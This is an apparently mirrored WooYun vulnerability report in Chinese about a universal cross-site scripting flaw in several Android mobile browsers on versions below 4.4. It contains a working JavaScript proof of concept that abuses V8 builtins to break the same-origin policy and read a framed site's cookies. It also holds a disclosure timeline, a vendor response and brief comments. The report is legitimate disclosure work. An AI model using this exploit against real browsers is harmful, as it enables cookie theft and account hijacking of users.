猎豹/360/欧鹏/百度/遨游等手机浏览器安卓客户端UXSS（影响android4.4以下版本）

2015年6月11日05:38:15评论488 views字数 260阅读0分52秒阅读模式

摘要

2014-09-07：细节已通知厂商并且等待厂商处理中
2014-09-10：厂商已经确认，细节仅向厂商公开
2014-09-13：细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-11-04：细节向核心白帽子及相关领域专家公开
2014-11-14：细节向普通白帽子公开
2014-11-24：细节向实习白帽子公开
2014-12-04：细节向公众公开

漏洞概要关注数(28) 关注此漏洞

缺陷编号： WooYun-2014-75184

漏洞标题：猎豹/360/欧鹏/百度/遨游等手机浏览器安卓客户端UXSS（影响android4.4以下版本）

漏洞作者：瘦蛟舞

提交时间： 2014-09-07 18:40

公开时间： 2014-12-04 18:40

漏洞类型：远程代码执行

危害等级：中

自评Rank： 10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： sop uxss

5人收藏

漏洞详情

披露状态：

简要描述：

猎豹/360/欧鹏/百度/遨游等手机浏览器安卓客户端UXSS（影响android4.4以下版本）

详细说明：

poc

code 区域

<body>
 <script>
 frame = document.body.appendChild(document.createElement("iframe"));
 frame.src = "http://**.**.**.**/";
 
 frame.onload = function() {
  Function("}, (builtins = this), function() {");
  originalInstantiate = builtins.Instantiate;
  builtins.DefineOneShotAccessor(builtins, "Instantiate", function() {});
  flag = 0;
  template = null;
  builtins.Instantiate = function(x, y) {
   if (flag) {
    doc = frame.contentWindow.document;
    alert(doc.cookie);
    flag = 0;
   } else if (!template)
    template = x;
 
   return originalInstantiate(x, y);
  };
  document.implementation;
  flag = 1;
  builtins.ConfigureTemplateInstance(frame.contentWindow, template);
 }
 </script>
 </body>

漏洞证明：

360

遨游

百度

猎豹

欧鹏

修复方案：

版权声明：转载请注明来源瘦蛟舞@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-09-10 09:08

厂商回复：

CNVD确认所述情况（未全部复现），作为Android历史漏洞遗留问题，此前已经相关情况通报给其中三家软件生产厂商，后续不再重复通报。

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

评价

2014-09-05 18:40 | 疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

0

又来。。。

1# 回复此人
2014-09-05 18:41 | 风情万种 ( 普通白帽子 | Rank:195 漏洞数:66 | 不再相信爱了)

0

哈哈

2# 回复此人
2014-09-05 18:56 | U神 ( 核心白帽子 | Rank:1375 漏洞数:152 | 乌云核心菜鸟，此号处于联盟托管中....)

0

@疯狗狗哥，这到底算通用吗？还是认为android系统版本的问题呢？

3# 回复此人
2014-09-05 18:57 | 风情万种 ( 普通白帽子 | Rank:195 漏洞数:66 | 不再相信爱了)

0

@U神没算我之前发的就没算

4# 回复此人
2014-09-07 13:15 | cnrstar ( 普通白帽子 | Rank:161 漏洞数:24 | Be my personal best!)

0

这么刷没啥意思吧。

5# 回复此人

漏洞概要 关注数(28) 关注此漏洞

缺陷编号： WooYun-2014-75184

漏洞标题： 猎豹/360/欧鹏/百度/遨游等手机浏览器安卓客户端UXSS（影响android4.4以下版本）

相关厂商： cncert

漏洞作者： 瘦蛟舞

提交时间： 2014-09-07 18:40

公开时间： 2014-12-04 18:40

漏洞类型： 远程代码执行

危害等级： 中

自评Rank： 10

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： sop uxss

5人收藏

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 瘦蛟舞@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

漏洞评价(少于3人评价): 登陆后才能进行评分

评价

发表评论

在线咨询

微信

漏洞概要关注数(28) 关注此漏洞

漏洞标题：猎豹/360/欧鹏/百度/遨游等手机浏览器安卓客户端UXSS（影响android4.4以下版本）

漏洞作者：瘦蛟舞

漏洞类型：远程代码执行

危害等级：中

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

版权声明：转载请注明来源瘦蛟舞@乌云

漏洞评价(少于3人评价):

登陆后才能进行评分